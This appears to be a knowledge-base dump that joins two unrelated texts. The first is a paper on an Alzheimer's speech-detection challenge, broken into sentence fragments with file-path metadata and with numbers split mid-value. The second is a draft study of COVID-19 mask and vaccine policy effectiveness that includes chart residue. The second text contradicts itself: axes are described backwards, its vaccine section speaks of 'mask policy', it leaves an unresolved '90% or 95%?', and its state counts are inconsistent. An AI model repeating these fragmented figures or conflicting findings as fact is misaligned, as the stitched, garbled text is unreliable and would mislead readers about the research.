+page_content=' The data sets  This SPGC data sets were made available through Dementia-  Bank1, upon request.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The training dataset consists of spon-  taneous speech samples corresponding to audio recordings of  picture descriptions produced by cognitively normal subjects  and patients with an AD diagnosis, who were asked to de-  scribe the Cookie Theft picture from the Boston Diagnostic  Aphasia Examination test[2].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The participants were speak-  ers of English.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The test set consists of spontaneous speech  descriptions of a different picture, in Greek.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The recordings  were made in one of these languages.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Participants were ini-  tially allowed access only to the training data (in English) and  some sample Greek data (8 recordings) for development pur-  poses.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  1https://dementia.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='talkbank.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='org/  The Greek recordings assess participants’ verbal fluency  and mood using a picture that the participant describes while  looking at it.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The assessor first shows the participant a picture  representing a lion lying with a cub in the dessert while eat-  ing.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The assessor then asks the participants to give a verbal  description of the picture in a few sentences.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  The training dataset was balanced with respect to age and  gender in order to eliminate potential confounding and bias.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  As we employed a propensity score approach to matching we  did not need to adjust for education, as it correlates with age  and gender, which suffice as an admissible for adjustment (see  [3, pp 348-352]).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The dataset was checked for matching ac-  cording to scores defined in terms of the probability of an  instance being treated as AD given covariates age and gender  estimated through logistic regression, and matching instances  were selected.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' All standardized mean differences for the co-  variates were below 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='1 and all standardized mean differences  for squares and two-way interactions between covariates were  below 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='15, indicating adequate balance for those covariates.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='2.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Evaluation  The classification task is evaluated in terms of accuracy,  specificity, sensitivity and F1 scores.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' For the regression task  (MMSE prediction), the metrics used are the coefficient of  determination and root mean squared error.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The ranking of  submissions is based on accuracy scores for the classifica-  tion task (task 1), and on RMSE scores for the MMSE score  regression task (task 2).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' BASELINE MODELS  First we normalised the volume of audio files using ffmpeg’  EBU R128 scanner filter.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' A sliding window of 1 s, with no  overlap, was then applied to the audio, and eGeMAPS fea-  tures were extracted over these frames.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The eGeMAPS fea-  ture set [4] is a basic set of acoustic features designed to de-  tect physiological changes in voice production.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' It contains  the F0 semitone, loudness, spectral flux, MFCC, jitter, shim-  mer, F1, F2, F3, alpha ratio, Hammarberg index and slope V0  features, as well as their most common statistical functionals,  totalling 88 features per frame.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Given the eGeMAPS features,  we applied the active data representation method (ADR) [5]  to generate a frame level acoustic representation for each au-  dio recording.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The ADR method has been used previously  to generate large scale time-series data representation.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' It em-  ploys self-organising mapping to cluster the original acoustic  features and then computes second-order features over these  clusters to extract new features [5].' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' This method is entirely  automatic in that no speech segmentation or diarisation infor-  mation is provided to the algorithm.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  For task 1, we employed a Na¨ıve Bayes classifier with  kernel smoothing estimation.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The ADR for feature extraction  was optimised using a grid search (C = 5, 10, 15, 20, 25).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  We achieved accuracies of 75.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='00% and 73.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='91% on sample  and test data respectively using 15+2 ADR, age and gender  features per recording.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' On the test set, specificity was 79.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='2%,  precision was 75%, sensitivity was 68.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='2%, and F1 was 71.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='4%.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  The feature to training audio ratio was 19:237.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  For the MMSE regression task (task 2), we employed  a support vector machine (SVM) model with a RBF kernel  with box constraint of 1, and sequential minimal optimization  solver.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The ADR for feature extraction was optimised using  a grid search (C = 5, 10, 15, 20, 25).' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' This model achieved  a root mean squared error (RMSE) of 3.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='887 (r = 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='273)  and 4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='955 (r = 0.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='348) on sample and test data respectively  using 25+2 ADR, age and gender features per recording.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' The  feature to training audio recordings ratio was also 29:237.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  4.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' CONCLUSION  Spontaneous speech analysis has the potential to enable novel  applications for speech technology in longitudinal, unob-  trusive monitoring of cognitive health.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' By focusing on AD  recognition using spontaneous speech, this SPGC investigates  an alternative to neuropsychological and clinical evaluation  approaches to AD detection and cognitive assessment.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Fur-  thermore, the multilingual setting provided by this SPGC  allows the investigation of features that might generalise  across languages, extending the applicability of the models.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  In keeping with the objectives of AD prediction evaluation,  the ADReSS-M challenge provides a statistically matched  data set so as to mitigate common biases often overlooked  in evaluations of AD detection methods, including repeated  occurrences of speech from the same participant, variations in  audio quality, and imbalances of gender, age and educational  level.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' We hope this might serve as a benchmark for future  research on multilingual AD assessment.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content='  5.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' REFERENCES  [1] S.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' de la Fuente Garcia, C.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
+page_content=' Ritchie, and S.' metadata={'source': '/home/zjlab/wf/langchain-ChatGLM/knowledge_base/IdE5T4oBgHgl3EQfWw_6/content/2301.05562v1.pdf'}
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+ 
+ 
+ New Approach to Policy Effectiveness for Covid-19 
+and Factors Influence Policy Effectiveness
+ 
+Yile He1, * 
+1University of California, Davis, 95616, Davis, The United States 
+*Corresponding author. Email: abhe@ucdavis.edu 
+ABSTRACT 
+This study compared the effectiveness of COVID-19 control policies, including wearing masks, and the vaccine rates 
+through proportional infection rate in 28 states of the United States using the eSIR model. The effective rate of 
+policies was measured by the difference between the predicted daily infection proportion rate using the data before the 
+policy and the actual daily infection proportion rate. The study suggests that both mask and vaccine policy had a 
+significant impact on mitigating the pandemic. We further explored how different social factors influenced the 
+effectiveness of a specific policy through the linear regression model. Out of 9 factors, the population density, number 
+of hospital beds per 1000 people, and percent of the population over 65 are the most substantial factors on mask policy 
+effectiveness, while public health funding per person, percent of immigration have the most significant influence on 
+vaccine policy effectiveness. This study summarized the effectiveness of different policies and factors they associated 
+with. It can be served as a reference for future covid-19 related policy. 
+Keywords: Covid-19, eSIR, Linear Regression. 
+1. INTRODUCTION 
+  COVID-19 is an infectious disease caused by SARS-
+CoV-2, which has been declared a global public health 
+emergency. As of 28 October 2021, it has led to more 
+than 45.7 million confirmed cases and resulted in more 
+than 742 thousand deaths in the United States [1]. 
+Governments world- wide have implemented similar 
+policies to limit the spread of the virus, such as lock-
+down, social distance, mask policies. Research has 
+proved the efficiency of the action behind each policy. 
+For example, the use of masks was strongly protective, 
+with a risk reduction of 70% for those that always wore 
+a mask when going out. [2] Additionally, those infection 
+rates are reduced drastically when social distancing 
+intervention is implemented between 80% to 100%. [3] 
+However, the actual effect of each policy was highly 
+varied among countries due to factors such as 
+socioeconomics [4,5]. Since issuing the policies with 
+high efficiency to mitigate the pandemic are extremely 
+important for all countries, we need to understand what 
+factors affect the policy efficiency and how they affect 
+it. 
+  To solve these problems, previous studies have 
+measured the effectiveness of several NPI 
+(nonpharmaceutical interventions) [6,7,8], such as stay-
+at-home and business close policy, by measuring the 
+change in real-time reproduction number (Rt), the 
+expected number of new infections caused by an 
+infectious individual in a population where some 
+individuals may no longer be susceptible [9], and 
+compare the decrease in real-time reproduction number 
+after the policy is issued among different countries to 
+see which country performs best for a specific policy.  
+  In this study we used an eSIR model, extended state-
+space SIR models [10], to predict a one-month daily 
+infection proportion after a period of lagging time and 
+compare this to the actual daily infection proportion to 
+measure the effectiveness policy. 
+  Then, we conducted multivariate and single variate 
+linear regression models, to study the correlation 
+between policy effective rate and different potential 
+factors, such as economics, population density, 
+education level, etc. The results from this study can 
+serve as a reference for governments when issuing covid 
+polices 
+2. DATA 
+
+ 
+ 
+ 
+  We obtained COVID data from the website 
+covidtracking.com and the website collected and 
+published the most complete data about COVID-19 in 
+the US, including the daily death, cases, and 
+hospitalization, etc.[11] This data source started 
+collecting daily recovery rates, which are essential for 
+the eSIR model prediction, in March 2020. 
+Additionally, they are no longer collecting data as of 
+March 7, 2021. Thus, the data used in this analysis are 
+from March 2020 to March 2021. 
+  We obtained data for the exact time when a policy 
+was issued in each state from ballotpedia.org, which 
+provides a detailed policy timeline for each state. [12] 
+Data for policy effectiveness's potential factors are 
+collected from various resources [13-21]. 
+3. METHOD 
+We 
+used 
+the 
+extended 
+state-space 
+SIR 
+epidemiological model (eSIR)[10], to estimate the 
+effectiveness 
+of 
+different 
+policies 
+and 
+vaccine 
+interventions on Covid-19. It uses the susceptible, 
+infection, and removed as the input variables to predict 
+the daily proportion of infection and proportion of death 
+for a given amount of time. This approach has also been 
+used during SARS. 
+The given dataset updated the cumulative recovered 
+data every 7 days. To prevent the huge increase in 
+recovered data every 7 days from impacting the model 
+prediction, we use the loess.as() function under package 
+(fANCOVA) to fit a smooth curve between all the 
+recovered data. This function can choose a span value, 
+the parameter α which controls the degree of smoothing,  
+that optimizes the fit of the LOESS curve by fitting a 
+LOESS regression and automates the parameter selection 
+process.[22]  The smoothed recovered data was used for 
+the rest of our analysis. 
+We first tested the prediction ability of eSIR model 
+by setting a day when there was no major policy or 
+vaccine issued 30 days before and after as the first 
+prediction date and predict the daily infection proportion 
+for the following 30 days. The eSIR model output an 
+graph with infection proportion as the y axis, and date as 
+x axis. It also includes two curves, one of which is the 
+actual daily infection proportion and the other represents 
+the predicted daily infection curved. The predicted curve 
+is based on the medium values of predicted interval from 
+eSIR model, since mediums are not affected by the 
+outliers. Then, we compared the prediction curve and the 
+actual daily infection proportion to see if the model can 
+make accurate prediction on daily infection proportion 
+when there was no policy and vaccine to interfere the 
+result. We also compute the 90% or 95%? confidence 
+interval. 
+For the policy intervention, we set the first prediction 
+date 14 days after the policy was issued, because we 
+assume that a 14-days lag time for counts of cases to 
+coincide with the approximate incubation period of 
+COVID-19.[6] While for the vaccine, according to CDC, 
+the vaccine will be effective 14 days after the first shot, 
+and we also set a 14-day lag time for vaccine. Thus, we 
+set the first prediction date 28 days after the first shot. 
+[23] 
+The effectiveness of policy intervention and vaccine 
+is defined as the policy effective rate which is measured 
+by the infection proportion prediction minus actual 
+infection proportion and dived by of actual infection 
+proportion. We calculated the daily policy effective rate 
+and define the largest value among all 31 prediction days 
+as max policy effective rate. We also calculate the sum of 
+infection proportion prediction minus the sum of actual 
+infection proportion and dived by the sum of actual 
+infection proportion and defined it as the total policy 
+effectiveness rate.  
+We use the total policy effective rate and max policy 
+effective rate as measurements to compare the 
+effectiveness of certain policies between states.  
+Additionally, 
+we 
+applied 
+Inverse-normal 
+transformation to both the total policy effective rate and 
+max policy effective rate. Then, we test the multivariate 
+linear model to figure out which factor has a significant 
+impact on the effectiveness of each policy. We test 
+factors such as public health funding per person, number 
+of hospital beds per 1000 people, and GDP per capita, 
+etc. Since we only have 21 or 28 states available for each 
+policy, we set the level of significance as 0.1. We also 
+conducted a single variate linear model between the max 
+or total policy effective rate and each potential factor 
+since the significance of each potential may decrease in a 
+multivariate linear regression model because of 
+collinearity between factors. The level of significance, in 
+this case, was still set to be 0.1. We studied which factors 
+significantly impact max or total policy effective rate 
+based on the results from multivariate and single variate 
+linear regression model results. 
+4. RESULT 
+4.1. MODEL EFFICIENCY: 
+The estimated daily infected proportion for state 
+Alabama from 06/21/20 to 07/21/20 is based on the daily 
+infection proportion from 05/22/20 to 06/21/20 as shown 
+in figure 1. The horizontal axis displays the date 
+month/day/year, and the vertical axis displays the 
+proportion of infected. The green dotted line represents 
+the actual daily infection proportion, while the red line 
+represents the predicted values. The red range represents 
+the confidence interval. The figure shows that the 
+predicted daily infected rate is similar to the actual one 
+
+ 
+ 
+ 
+and all the actual values fall in the 95% confidence 
+interval. We applied the same method to all 26 states and 
+get similar results. Thus we conclude that the eSIR is 
+efficient in predicting accurate daily infection proportion 
+when there is no policy interfered for all 26 states. 
+ 
+ 
+Figure 1.  Model Effectiveness Test figure. The x-
+axis represents infection proportion and the y-axis 
+represents the date. The blue vertical line indicates the 
+first prediction day, while the green line indicates the 
+last prediction day. The green dot curve represents the 
+actual daily infection proportion. The red line represents 
+the predicted infected curve measured by the eSIR 
+model with medians as the predicted value. 
+4.2. THE MASK PLOT: 
+Figure 2 shows the predicted daily infected 
+proportion for Alabama 14 days after the state-wide 
+Mask policy was issued on 07/01/2020. The elements in 
+the graph are the same as Figure 1. Figure 2 indicates that 
+the predicted line is first lower than the actual value 
+curve, but slowly catch up and pass over the actual value 
+curve around the middle, and finally becomes much 
+larger than the actual value curve, which indicates that 
+the mask policy effect starts to show after a period of 
+extra lagging time and the effect is significant. 
+We apply the same method to the states that have data 
+available for the tested period and had issued a state-wide 
+mask policy, which is 19 states in total. The mask policy 
+plots have many variations among states. Most of the 
+states, such as New Mexico, show an immediate decrease 
+in the actual values curve compared to the predicted 
+curve, which indicates that the mask policy has started to 
+impact daily infected proportion after 14 days for the 
+policy lagging period. Some of the states, such as 
+Arkansas, show a similar pattern to Alabama mask 
+policy, which shows impact after a short period of 
+lagging. However, we also have some states, such as 
+Vermont, which show no difference between the 
+predicted curve and actual curve and thus show no impact 
+for the mask policy. Also, some states, such as Michigan, 
+indicate an opposite result, in which the predicted curve 
+is smaller than the actual curve. 
+ 
+Figure 2.  Mask Policy effectiveness figure. The x-axis 
+represents infection proportion and the y-axis represents 
+the date. The blue vertical line indicates the first 
+prediction day, which is 14 days after the mask policy is 
+issued, while the green line indicates the last prediction 
+day. The green dot curve represents the actual daily 
+infection proportion. The red line represents the 
+predicted infected curve measured by the eSIR model 
+with medians as the predicted value. 
+4.3. THE VACCINE PLOT: 
+  Figure 3 shows the predicted daily infected 
+proportion for Alabama 28 days after the Covid vaccine 
+was first distributed 12/01/2020 for all states. The 
+elements in the graph are the same as Figure 1 and 
+Figure 2. Figure 2 indicates that the predicted curve is 
+larger than the actual curve on the first day of the 
+prediction and the difference kept increasing as time 
+goes, which indicates that vaccine policy immediately 
+shows an impact on daily infected proportion after 28 
+days of lagging. 
+  We apply the same method to all the states that have 
+data available for the test, which is in 26 states in total. 
+The vaccine policy plots have much fewer variations 
+among states compared to the mask policy. Most of the 
+states, such as West Virginia, have a similar pattern as 
+Alabama, which indicates that the mask policy has 
+started to impact daily infected proportion. Some of the 
+states, such as South Carolina, show impact after a short 
+period of lagging. However, we also have some states, 
+such as Maryland, which shows no difference between 
+the predicted curve and actual curve and thus show not 
+impact for the vaccine policy. Also, some states, such as 
+Texas, indicate an opposite result, in which the 
+predicted curve is smaller than the actual curve.	
+	
+
+Posteriorβ,=0.0606,Yp=0.0267and Ro=2.42
+0.016
+0.012
+P(Infected)
+Jul22
+0.008
+Jun21
+0.004
+05/22/20
+06/21/20
+07/21/20
+timePosteriorβ,=0.0593,Yp=0.0236andRo=2.64
+0.03
+P(Infected)
+0.02
+Aug15
+Jul 15
+0.01
+000000
+06/15/20
+07/15/20
+08/14/20
+time 
+ 
+ 
+	
+Figure 3.  Vaccine Policy Effectiveness Test figure. 
+The x-axis represents infection proportion and the y-axis 
+represents the date. The blue vertical line indicates the 
+first prediction day, which is also 28 days after the 
+vaccine is distributed, while the green line indicates the 
+last prediction day. The green dot curve represents the 
+actual daily infection proportion. The red line represents 
+the predicted infected curve measured by the eSIR 
+model with medians as the predicted value. 
+4.3 TOTAL POLICY EFFECTIVE RATE 
+The figure 4 shows the total policy effective rate and 
+max policy effective rate of each state. The x-axis shows 
+the state, and the y axis shows the total policy effective 
+rate. The blue bars show the total policy effective rate for 
+mask policy; the orange bars show the total policy 
+effective rate for the vaccine; the grey bars show the max 
+policy effective rate for mask policy, the yellow bars 
+show the max policy effective rate for the vaccine. It is 
+ordered by the total policy effective rate because all 26 
+states have distributed vaccines.  All the states in figure 
+4 distributed vaccines state-wide, while only 21 of them 
+have issued mask policy and have data available for 
+analysis. (Oklahoma has not issued a state-wide mask 
+policy, and other states do not have recovery data 
+available for analysis.) 
+In figure 4, we notice that the results for the total 
+policy effective rate are consistent with the ones for the 
+max policy effective rate. However, the total policy 
+effective rates for mask policy tend to have more negative 
+values, while the max policy effective rates for mask 
+policy tend to have more extreme high values. It is 
+because, in most of these states, the prediction curve 
+increases much more quickly than the actual curve, which 
+leads to a huge gap on the last day of prediction. 
+Additionally, the states with a high mask policy effective 
+rate also tend to have a high vaccine policy effective rate. 
+This applies to both the total policy effective rate and the 
+max policy effective rate. The correlation between mask 
+total policy effective rate and vaccine total policy 
+effective rate is 0.556. The correlation between mask 
+max policy effective rate and vaccine max policy 
+effective rate is 0.496. Both are high enough to be 
+considered as a high correlation. 
+	
+Figure	4.	 	 Vaccine	Policy	Effectiveness	Test	
+figure.	The	x-axis	represents	the	states	and	the	
+y-axis	represents	the	date.	The	blue	bars	show	
+the	total	policy	effective	rate	for	mask	policy;	
+the	orange	bars	show	the	total	policy	effective	
+rate	for	the	vaccine;	the	grey	bars	show	the	max	
+policy	effective	rate	for	mask	policy,	the	yellow	
+bars	show	the	max	policy	effective	rate	for	the	
+vaccine.	
+4.4 FIND FACTORS THAT AFFECT 
+POLICY EFFECTIVE RATE BASED ON 
+LINEAR REGRESSION MODEL 
+  Based on the result above, we notice the 
+variation within total and max policy effective rate 
+between the states. We want to explore more about 
+what factors lead to the difference in policy 
+effectiveness among states. We use the 
+multivariate linear model and single variate linear 
+model to explore the impact of different potential 
+factors. 
+4.4.1 
+MULTIVARIATE LINEAR 
+REGRESSION MODEL BETWEEN 
+POLICY EFFECTIVE RATE 
+DIFFERENT FACTORS 
+  In table 1, we include two factors with the least low p-
+value in each policy effective rate’s multivariate linear 
+model. The corresponding estimated coefficient and p 
+values are also listed in the table. All tables that include 
+the estimated coefficient, standard errors, test statistics, 
+and p values for each factor in each policy effective rate’s 
+multivariate linear model are in the appendix. It also 
+shows the R squared value of the multivariate linear 
+model of each policy effective rate. 
+-1
+0
+1
+2
+3
+4
+5
+6
+7
+8
+9
+TX
+MD
+KY
+MI
+WI
+SC
+OH
+NE
+AK
+PA
+NM
+MA
+utah
+MT
+MA
+MS
+VT
+WY
+LA
+SD
+OK
+NH
+WV
+AR
+ND
+TN
+Policy Effective Rate
+State
+Mask
+Vaccine
+mask_max
+vaccine_max
+
+Posteriorβp=0.0283,Yp=0.00994 andRo=2.96
+0.07
+0.06
+P(Infected)
+0.05
+Feb10
+0.04
+Jan 11
+0.03-
+0.02
+12/11/20
+01/10/21
+02/09/21
+time 
+ 
+ 
+In mask total policy effective rate and max policy 
+effective rate multivariate linear models, only the 
+population density is smaller than the level of 
+significance, which indicates that public health per 
+person has the most significant impact on the 
+effectiveness of mask policy. Besides population density, 
+the percent of the population over 65 also has a p-value 
+relatively close to the level of significance. 
+In vaccine total policy effective rate and max policy 
+effective rate multivariate linear models, only the public 
+health funding per person has a p-value less than the level 
+of significance 0.1, which indicates that public health per 
+person has the most significant impact on the 
+effectiveness of vaccine policy. Besides public health 
+funding per person, immigration also has a relatively low 
+p-value. 
+ 
+The R squared of the multivariate linear model for the 
+max mask, total mask, and max vaccine policy effective 
+rate are around 0.4. Although 0.4 is usually considered as 
+a low correlation for the linear regression model, our 
+dataset is so small that we still consider them as 
+significant correlation. Additionally, the R squared of the 
+multivariate linear model for the max mask for total 
+vaccine policy effective rate is above 0.7, which indicates 
+a strong correlation.   
+ 
+Table 1.  Multivariate linear regression model. The 
+first column represents the type of policy effective rate 
+and R^2 value of its multivariate linear regression 
+model. The second column represents the two most 
+significant factors for each policy effective factor 
+according to its multivariate linear regression model. 
+The third and fourth columns represent each factor’s 
+estimated coefficient and p-value. 
+4.4.2 
+SINGLE VARIATE LINEAR 
+REGRESSION MODEL BETWEEN 
+POLICY EFFECTIVE RATE 
+DIFFERENT FACTORS 
+Table 2 shows all the factors that have a p-value less 
+than 0.1 level of significance for each policy effective 
+rate. It also includes the estimated coefficient and p-value 
+of each factor. 
+For mask policy effective rate, we have population 
+density, voters in each state predominantly choose either 
+the Republican Party or Democratic Party, the number of 
+hospital beds per 1000 people, and percent of the 
+population over 65 have the most important impact on the 
+effectiveness of mask policy. 
+  For vaccine policy effective rate, we have percent of 
+immigration in each state, the number of hospital beds 
+per 1000 people, and public health funding per person 
+have the most important impact on the effectiveness of 
+mask policy. 
+ 
+Table 2.  Single variate linear regression model. The 
+first column represents the type of policy effective. The 
+second column represents factors with p-value less than 
+0.1 for each policy effective factor according to its 
+multivariate linear regression model. The third and 
+fourth columns represent each factor’s estimated 
+coefficient and p-value. 
+5 DISCUSSION 
+Based on the two tables above, we conclude that 
+population density and percent of the population over 65 
+have a negative impact on the mask policy effective rate. 
+According to CDC, transmission can be reduced by up to 
+96.5% if both an infected person and an uninfected 
+person wear tightly fitted surgical masks or a cloth mask 
+together with a surgical mask. [25] However, unlike 
+surgical masks, cloth masks’ ability to block transmission 
+is highly variable due to their design, fit, and materials 
+used [26]. Thus, it is possible that the spreading of covid-
+19 will be efficiently reduced with low population 
+density even only cloth masks are used, but with high 
+population density, cloth masks may not decrease the 
+spreading of covid 19 very efficiently, due to their lower 
+blocking rate. For the negative impact from percent of the 
+population over 65, it is possibly because old people on 
+average require more time to recover from Covid-19 [27] 
+and thus have a much longer period of hospitalization. A 
+higher old population percent means more proportion of 
+the infected population will also be old people. Since the 
+infection proportion is calculated by the total infected 
+population minus the removed population (removed and 
+recovered population), longer hospitalization for the 
+elder population will result in a smaller removed 
+population and thus a larger infection proportion and 
+lower policy effective rate. 
+However, voters in each state predominantly choose 
+Republican Party, and the number of hospital beds per 
+1000 people have a positive impact on the mask policy 
+effective rate. Most of the states first issued their mask 
+
+policy.effective.rate
+factor
+estimate
+p.value
+max mask (R^2 = 0.3922)
+population density
+-0.00386
+0.1373
+hospital bed
+0.4765
+0.4977
+totalmask (R^2=0.4786)
+population density
+-0.003272
+0.07596
+precent of population over 65
+-0.2287
